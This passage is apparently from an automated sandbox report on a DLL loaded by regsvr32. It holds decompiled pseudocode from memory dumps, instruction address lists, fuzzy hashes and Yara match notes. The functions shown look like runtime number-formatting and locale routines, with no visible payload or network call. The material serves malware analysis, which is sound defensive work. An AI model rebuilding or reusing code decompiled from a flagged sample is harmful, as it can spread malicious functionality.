																			_t72 =  &(_t276[2]); // 0x9
																			_t264 = _t72;
																			_t74 = _t244 + 0x60; // 0x65
																			_t268 = _t258 + _t74;
																			_t226 = r13d & 0x00000001;
																			__eflags = _t226;
																			do {
																				_t205 = ( *_t268 & 0x0000ffff) * ( *_t264 & 0x0000ffff);
																				__eflags = _t226;
																				if(_t226 == 0) {
																					r8d = 0;
																					r9d = _t232 + _t244;
																					__eflags = r9d -  *(_t248 - 4);
																					if(r9d <  *(_t248 - 4)) {
																						L64:
																						r8d = 1;
																						L65:
																						 *(_t248 - 4) = r9d;
																						goto L66;
																					}
																					__eflags = r9d - _t205;
																					if(r9d >= _t205) {
																						goto L65;
																					}
																					goto L64;
																				}
																				r8d = 0;
																				r9d = _t232 + _t244;
																				__eflags = r9d -  *(_t248 - 4);
																				if(r9d <  *(_t248 - 4)) {
																					L60:
																					r8d = 1;
																					L61:
																					 *(_t248 - 4) = r9d;
																					goto L66;
																				}
																				__eflags = r9d - _t205;
																				if(r9d >= _t205) {
																					goto L61;
																				}
																				goto L60;
																				L66:
																				__eflags = r8d;
																				if(r8d != 0) {
																					 *_t248 =  *_t248 + 1;
																					__eflags =  *_t248;
																				}
																				_t199 = _t199 - 1;
																				_t268 =  &(_t268[1]);
																				_t264 = _t264 - 2;
																				__eflags = _t199;
																			} while (_t199 > 0);
																			L69:
																			r12d = r12d - 1;
																			_t248 =  &(_t248[0]);
																			r13d = r13d + 1;
																			__eflags = r12d;
																		} while (r12d > 0);
																		_t223 = _t222 + 0xc002;
																		__eflags = _t223;
																		if(__eflags <= 0) {
																			r8d = _v160;
																			_t216 = _v164;
																			r9d = _v168;
																			L84:
																			_t223 = _t223 + 0xffff;
																			__eflags = _t223;
																			if(_t223 >= 0) {
																				L76:
																				_t169 = _v168 & 0x0000ffff;
																				L77:
																				__eflags = _t169 - 0x8000;
																				if(_t169 > 0x8000) {
																					L79:
																					_t170 = _v166;
																					__eflags = _t170 - 0xffffffff;
																					if(_t170 != 0xffffffff) {
																						_t171 = _t170 + 1;
																						__eflags = _t171;
																						_v166 = _t171;
																						_t216 = _v164;
																					} else {
																						_t175 = _v162;
																						_v166 = 0;
																						__eflags = _t175 - 0xffffffff;
																						if(_t175 != 0xffffffff) {
																							_v162 = _t175 + 1;
																							r8d = _v160;
																							_t216 = _v164;
																						} else {
																							_t177 = _v158 & 0x0000ffff;
																							_v162 = 0;
																							__eflags = _t177 - 0xffff;
																							if(_t177 != 0xffff) {
																								_t216 = _v164;
																								_v158 = _t177 + 1;
																								r8d = _v160;
																							} else {
																								_t216 = _v164;
																								_v158 = 0x8000;
																								r8d = _v160;
																								_t223 = _t223 + 1;
																							}
																						}
																					}
																					L94:
																					__eflags = _t223 - 0x7fff;
																					if(_t223 < 0x7fff) {
																						_v150 = _t216;
																						_t247 = _v184;
																						_v146 = r8d;
																						r8d = _v200;
																						_v152 = _v166 & 0x0000ffff;
																						_v142 = _t223 | _v192;
																						r9d = 0xffff8000;
																					} else {
																						__eflags = _v192;
																						_t247 = _v184;
																						r8d = _v200;
																						r9d = 0xffff8000;
																						_v148 = 0;
																						_t174 =  !=  ? r9d : 0x7fff8000;
																						_v152 = 0;
																						_v144 =  !=  ? r9d : 0x7fff8000;
																					}
																					goto L98;
																				}
																				r9d = r9d & 0x0001ffff;
																				__eflags = r9d - 0x18000;
																				if(r9d != 0x18000) {
																					goto L94;
																				}
																				goto L79;
																			}
																			r10d =  ~(_t223 & 0x0000ffff) & 0x0000ffff;
																			_t223 = _t223 + r10w;
																			__eflags = _t223;
																			do {
																				__eflags = _v168 & 0x00000001;
																				if((_v168 & 0x00000001) != 0) {
																					r15d = r15d + 1;
																					__eflags = r15d;
																				}
																				r9d = r9d >> 1;
																				r9d = r9d | _t216 << 0x0000001f;
																				r8d = r8d >> 1;
																				_t216 = _t216 >> 0x00000001 | r8d << 0x0000001f;
																				_t264 = _t264 - 1;
																				__eflags = _t264;
																				_v168 = r9d;
																			} while (_t264 != 0);
																			__eflags = r15d;
																			_v164 = _t216;
																			_v160 = r8d;
																			if(r15d == 0) {
																				goto L76;
																			}
																			_t169 = r9w | 0x00000001;
																			_v168 = _t169;
																			r9d = _v168;
																			goto L77;
																		}
																		r8d = _v160;
																		_t216 = _v164;
																		r9d = _v168;
																		while(1) {
																			asm("inc ecx");
																			if(__eflags < 0) {
																				break;
																			}
																			r8d = r8d + r8d;
																			_t209 = _t216 >> 0x1f;
																			r9d = r9d + r9d;
																			_t216 = _t216 + _t216 | r9d >> 0x0000001f;
																			r8d = r8d | _t209;
																			_t223 = _t223 + 0xffff;
																			_v164 = _t216;
																			_v160 = r8d;
																			__eflags = _t223;
																			_v168 = r9d;
																			if(__eflags > 0) {
																				continue;
																			}
																			goto L84;
																		}
																		__eflags = _t223;
																		if(_t223 <= 0) {
																			goto L84;
																		}
																		goto L76;
																	}
																	_t222 = _t222 + 1;
																	asm("btr eax, 0x1f");
																	__eflags = _t276[2];
																	if(_t276[2] != 0) {
																		goto L54;
																	}
																	__eflags = _t276[1];
																	if(_t276[1] != 0) {
																		goto L54;
																	}
																	__eflags =  *_t276;
																	if( *_t276 != 0) {
																		goto L54;
																	}
																	_t247 = _v184;
																	_v144 = 0;
																	_v148 = 0;
																	_v152 = 0;
																	goto L98;
																}
																_t222 = _t222 + 1;
																asm("btr eax, 0x1f");
																__eflags = _v144;
																if(_v144 != 0) {
																	goto L49;
																}
																__eflags = _v148;
																if(_v148 != 0) {
																	goto L49;
																}
																__eflags = _v152;
																if(_v152 != 0) {
																	goto L49;
																}
																_t247 = _v184;
																_v142 = 0;
																goto L98;
															}
															_t247 = _v184;
															_v144 = 0;
															_v148 = 0;
															_v152 = 0;
														}
														L98:
														__eflags = r8d;
													} while (r8d != 0);
													_t221 = 0;
												}
												goto L101;
											}
										}
										do {
											_t267 = _t267 - 1;
											r10d = r10d + 0xffffffff;
											_t198 = _t198 + 1;
											__eflags =  *_t267;
										} while ( *_t267 == 0);
										goto L22;
									}
									_t193 = _v97 & 0x000000ff;
									__eflags = _t193 - 5;
									if(_t193 >= 5) {
										_t194 = _t193 + 1;
										__eflags = _t194;
										_v97 = _t194;
									}
									_t266 = _t266 - 1;
									r10d = 0x18;
									_t198 = _t198 + 1;
									goto L19;
								}
							}
							_t232 = 0x10000000;
							_t239 = _t239 + 0x10000000;
							goto __rcx;
						}
						L7:
						_t259 =  &(_t259[_t274]);
					}
				} else {
					E10032420(_t232);
					r9d = 0;
					r8d = 0;
					_t201 = 0;
					_v216 = __rdi;
					 *_t232 = 0x16;
					E10034370(__rbx, __rcx, __rdx, __rdi, _t254, __rbp, __r8);
					L108:
					return E1002FF40(_t201, _v88 ^ _t258);
				}
			}

0x1004b340
0x1004b340
0x1004b340
0x1004b340
0x1004b340
0x1004b340
0x1004b340
0x1004b340
0x1004b34a
0x1004b351
0x1004b354
0x1004b35c
0x1004b360
0x1004b364
0x1004b368
0x1004b370
0x1004b379
0x1004b37d
0x1004b381
0x1004b385
0x1004b389
0x1004b38e
0x1004b391
0x1004b396
0x1004b39a
0x1004b3a1
0x1004b3a1
0x1004b3a5
0x1004b3aa
0x1004b3ad
0x1004b3b2
0x1004b3b6
0x1004b3b8
0x1004b3bb
0x1004b3e3
0x1004b3e6
0x1004b3e6
0x1004b3ea
0x1004b3ec
0x00000000
0x00000000
0x1004b3ee
0x1004b3f0
0x00000000
0x00000000
0x1004b3f2
0x1004b3f4
0x00000000
0x00000000
0x1004b3f6
0x1004b3f8
0x1004b3ff
0x1004b410
0x1004b414
0x1004b418
0x1004b41c
0x00000000
0x00000000
0x1004b863
0x1004b867
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x00000000
0x1004b87b
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x00000000
0x1004be7f
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b875
0x1004b42c
0x1004b433
0x1004b436
0x1004b436
0x1004b3fa
0x1004b3fa
0x1004b3fa
0x1004b3bd
0x1004b3bd
0x1004b3c2
0x1004b3c5
0x1004b3ca
0x1004b3cc
0x1004b3d1
0x1004b3d7
0x1004be83
0x1004beda
0x1004beda

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ad8da6781e95cb4e418d958dc94ce3b9246a1e2a7f4a887e87c14af2cb7063
Instruction ID: 13359489968d1d2c1f7e5a10002509313677e67df40bbf0bd920285404961685
Opcode Fuzzy Hash: 13ad8da6781e95cb4e418d958dc94ce3b9246a1e2a7f4a887e87c14af2cb7063
Instruction Fuzzy Hash: 28F1F573A18B95C6C760CF1AE040B9AB7A1F790790F61512AEF8583F58D7B9D841CF08

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015E70 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a27ce08eac6bb86909575d2e4e45c939a829e7d13f65b0f8274a21998e1e05d
Instruction ID: c2cd570fce8dd8e65d44035a3c3dbd10dc8b0ae0ab21cfb487d777e797bd1776
Opcode Fuzzy Hash: 8a27ce08eac6bb86909575d2e4e45c939a829e7d13f65b0f8274a21998e1e05d
Instruction Fuzzy Hash: DF121FB550560DCBDB68CF38C48A59E3BE0FF58318F201129FC66962A2D774DA68CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019C4C Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f948084e919379a1f52d8c5ebffcc3b74fed3bec625f5ff2a2ba8a3c0ae3e4b
Instruction ID: ef4c942965ef02ec018c6da01883d9f5cf0a16a7bea2aaa02e3e620c5318049f
Opcode Fuzzy Hash: 0f948084e919379a1f52d8c5ebffcc3b74fed3bec625f5ff2a2ba8a3c0ae3e4b
Instruction Fuzzy Hash: 70E11171510749DBEFACCF28C88AADD3BA0FF44394F905219FD42962A0D779D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C930 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e11e428a123b1041c9694eac2aeb7bba80250616d8e334c9f426d11a7d226c62
Instruction ID: a75013185314c88e78dd0b5cc38f075323276ddacb5791e6add23e6c7118f394
Opcode Fuzzy Hash: e11e428a123b1041c9694eac2aeb7bba80250616d8e334c9f426d11a7d226c62
Instruction Fuzzy Hash: 96D13A70A4871C9FDB99DFA8D0896DDBBF1FB18384F00411AE40AF7290DB749909CB99

Uniqueness

Uniqueness Score: -1.00%

Function 10046980 Relevance: .3, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10046980(void* __ecx, void* __edx, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r12, long long __r13, long long __r14, void* __r15) {
				void* _t93;
				signed int _t99;
				signed int _t100;
				signed int _t101;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				signed int _t115;
				signed int _t116;
				signed int _t161;
				intOrPtr _t165;
				int* _t167;
				long long _t186;
				void* _t218;
				signed char* _t220;
				long long _t221;
				long long _t224;
				long long _t226;
				long long _t227;
				int* _t229;
				void* _t230;
				signed char* _t231;
				void* _t232;
				long long _t234;
				long long _t238;
				intOrPtr* _t241;
				void* _t242;

				_t242 = __r15;
				_t239 = __r14;
				_t232 = __r9;
				_t230 = __r8;
				_t221 = __rdi;
				_t218 = __rdx;
				_t186 = __rcx;
				_t184 = __rbx;
				_t167 = _t229;
				 *((long long*)(_t167 + 8)) = __rbx;
				 *((long long*)(_t167 + 0x10)) = _t226;
				 *((long long*)(_t167 + 0x18)) = __rsi;
				 *((long long*)(_t167 - 8)) = __r12;
				 *((long long*)(_t167 - 0x10)) = __r13;
				 *((long long*)(_t167 - 0x18)) = __r14;
				_t224 = __rcx;
				_t234 = __rbx;
				 *((long long*)(_t167 - 0x28)) = __rcx;
				 *((long long*)(_t167 - 0x20)) = __rbx;
				if( *((intOrPtr*)(__rcx + 0x18)) != 0 ||  *((intOrPtr*)(__rcx + 0x1c)) != 0) {
					E10038890(_t167, _t184, _t186, _t218, _t221, _t224, _t226, _t234);
					_t227 = _t167;
					if(_t167 == 0) {
						L6:
						_t93 = 1;
						goto L33;
					}
					E10038810(4, _t167, _t184, _t186, _t221, _t224, _t227);
					_t238 = _t167;
					if(_t167 != 0) {
						 *_t167 = 0;
						if( *((intOrPtr*)(_t224 + 0x18)) == 0) {
							r8d = 0x58;
							E10032E50(4, _t227, 0x100b30e0, _t230);
							L25:
							 *_t227 =  *((intOrPtr*)( *((intOrPtr*)(_t224 + 0x128))));
							 *((long long*)(_t227 + 8)) =  *((intOrPtr*)( *((intOrPtr*)(_t224 + 0x128)) + 8));
							 *((long long*)(_t227 + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(_t224 + 0x128)) + 0x10));
							 *_t238 = 1;
							if(_t234 != 0) {
								 *_t234 = 1;
							}
							goto L27;
						}
						E10038810(4, _t167, _t184, _t186, _t221, _t224, _t227);
						_t234 = _t167;
						if(_t167 != 0) {
							 *_t167 = 0;
							r9d = 0x15;
							_t14 = _t227 + 0x18; // 0x18
							 *((long long*)(_t229 + 0x78)) = _t221;
							_t161 =  *(_t224 + 0x38) & 0x0000ffff;
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t14;
							_t99 = E10040640(4, _t232 - 0x14, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t239, _t242);
							_t20 = _t227 + 0x20; // 0x20
							r9d = 0x14;
							 *((long long*)(_t229 + 0x20)) = _t20;
							r8d = _t161;
							_t100 = E10040640(4, _t232 - 0x13, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t239, _t242);
							_t24 = _t227 + 0x28; // 0x28
							r9d = 0x16;
							 *((long long*)(_t229 + 0x20)) = _t24;
							r8d = _t161;
							_t101 = E10040640(4, _t232 - 0x15, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t239, _t242);
							r9d = 0x17;
							_t29 = _t227 + 0x30; // 0x30
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t29;
							_t102 = E10040640(4, _t232 - 0x16, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t239, _t242);
							r9d = 0x18;
							_t32 = _t227 + 0x38; // 0x38
							_t241 = _t32;
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t241;
							_t103 = E10040640(4, _t232 - 0x17, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x50;
							_t36 = _t227 + 0x40; // 0x40
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t36;
							_t104 = E10040640(4, _t232 - 0x4f, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x51;
							_t40 = _t227 + 0x48; // 0x48
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t40;
							_t105 = E10040640(4, _t232 - 0x50, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x1a;
							_t45 = _t227 + 0x50; // 0x50
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t45;
							_t106 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x19;
							_t48 = _t227 + 0x51; // 0x51
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t48;
							_t107 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x54;
							r8d = _t161;
							_t50 = _t227 + 0x52; // 0x52
							 *((long long*)(_t229 + 0x20)) = _t50;
							_t108 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x55;
							_t54 = _t227 + 0x53; // 0x53
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t54;
							_t109 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x56;
							_t57 = _t227 + 0x54; // 0x54
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t57;
							_t110 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x57;
							_t60 = _t227 + 0x55; // 0x55
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t60;
							_t111 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x52;
							_t63 = _t227 + 0x56; // 0x56
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t63;
							_t112 = E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242);
							r9d = 0x53;
							_t66 = _t227 + 0x57; // 0x57
							_t183 = _t66;
							r8d = _t161;
							 *((long long*)(_t229 + 0x20)) = _t66;
							if((E10040640(4, 0, _t184, _t229 + 0x30, _t218, _t221, _t224, _t230, _t234, _t238, _t241, _t242) | _t99 | _t100 | _t101 | _t102 | _t103 | _t104 | _t105 | _t106 | _t107 | _t108 | _t109 | _t110 | _t111 | _t112) == 0) {
								_t231 =  *_t241;
								if( *_t231 == 0) {
									goto L25;
								}
								do {
									_t115 =  *_t231 & 0x000000ff;
									if(_t115 < 0x30 || _t115 > 0x39) {
										if(_t115 != 0x3b) {
											_t231 =  &(_t231[1]);
											goto L22;
										}
										_t220 = _t231;
										do {
											_t116 = _t220[1] & 0x000000ff;
											_t220 =  &(_t220[1]);
											 *(_t220 - 1) = _t116;
										} while (_t116 != 0);
									} else {
										_t231 =  &(_t231[1]);
										 *((char*)(_t231 - 1)) = _t115 - 0x30;
									}
									L22:
								} while ( *_t231 != 0);
								goto L25;
							}
							E100468E0(_t227);
							E1002E330(_t183, _t227);
							E1002E330(_t183, _t238);
							E1002E330(_t183, _t234);
							_t93 = 1;
							goto L33;
						}
						E1002E330(_t167, _t227);
						E1002E330(_t167, _t238);
						_t13 = _t234 + 1; // 0x1
						_t93 = _t13;
						goto L33;
					}
					E1002E330(_t167, _t227);
					goto L6;
				} else {
					_t238 = __rbx;
					_t227 = 0x100b30e0;
					L27:
					_t171 =  *((intOrPtr*)(_t224 + 0x120));
					if( *((intOrPtr*)(_t224 + 0x120)) != 0) {
						asm("lock add dword [eax], 0xffffffff");
					}
					_t165 =  *((intOrPtr*)(_t224 + 0x110));
					if(_t165 != 0) {
						asm("lock add dword [ecx], 0xffffffff");
						if(_t165 == 0) {
							E1002E330(_t171,  *((intOrPtr*)(_t224 + 0x128)));
							E1002E330(_t171,  *((intOrPtr*)(_t224 + 0x110)));
						}
					}
					 *((long long*)(_t224 + 0x120)) = _t234;
					 *((long long*)(_t224 + 0x110)) = _t238;
					 *((long long*)(_t224 + 0x128)) = _t227;
					_t93 = 0;
					L33:
					return _t93;
				}
			}

0x10046980
0x10046980
0x10046980
0x10046980
0x10046980
0x10046980
0x10046980
0x10046980
0x10046980
0x10046987
0x1004698b
0x1004698f
0x10046995
0x10046999
0x100469a0
0x100469a4
0x100469a7
0x100469aa
0x100469ae
0x100469b2
0x100469d0
0x100469d8
0x100469db
0x100469f7
0x100469f7
0x00000000
0x100469f7
0x100469e2
0x100469ea
0x100469ed
0x10046a01
0x10046a06
0x10046cb7
0x10046cbd
0x10046cc2
0x10046ccf
0x10046cde
0x10046ced
0x10046cf1
0x10046cf9
0x10046cfb
0x10046cfb
0x00000000
0x10046cf9
0x10046a11
0x10046a19
0x10046a1c
0x10046a38
0x10046a3a
0x10046a40
0x10046a44
0x10046a49
0x10046a56
0x10046a59
0x10046a5e
0x10046a63
0x10046a67
0x10046a6d
0x10046a7b
0x10046a80
0x10046a85
0x10046a89
0x10046a8f
0x10046a9d
0x10046aa2
0x10046aa7
0x10046ab4
0x10046abc
0x10046abf
0x10046ac4
0x10046ac9
0x10046acf
0x10046acf
0x10046adc
0x10046ae1
0x10046ae6
0x10046aeb
0x10046af3
0x10046b00
0x10046b03
0x10046b08
0x10046b0d
0x10046b15
0x10046b22
0x10046b25
0x10046b2a
0x10046b34
0x10046b3c
0x10046b40
0x10046b45
0x10046b4a
0x10046b54
0x10046b5c
0x10046b60
0x10046b65
0x10046b6a
0x10046b6f
0x10046b75
0x10046b7a
0x10046b80
0x10046b8a
0x10046b94
0x10046b9c
0x10046ba0
0x10046ba5
0x10046baa
0x10046bb4
0x10046bbc
0x10046bc0
0x10046bc5
0x10046bca
0x10046bd4
0x10046bdc
0x10046be0
0x10046be5
0x10046bea
0x10046bf4
0x10046bfc
0x10046c00
0x10046c05
0x10046c0a
0x10046c14
0x10046c1c
0x10046c1c
0x10046c20
0x10046c25
0x10046c36
0x10046c62
0x10046c69
0x00000000
0x00000000
0x10046c70
0x10046c70
0x10046c76
0x10046c8a
0x10046ca1
0x00000000
0x10046ca1
0x10046c8c
0x10046c90
0x10046c90
0x10046c94
0x10046c9a
0x10046c9a
0x10046c7c
0x10046c7e
0x10046c82
0x10046c82
0x10046ca5
0x10046ca5
0x00000000
0x10046cab
0x10046c3b
0x10046c43
0x10046c4b
0x10046c53
0x10046c58
0x00000000
0x10046c58
0x10046a21
0x10046a29
0x10046a2e
0x10046a2e
0x00000000
0x10046a2e
0x100469f2
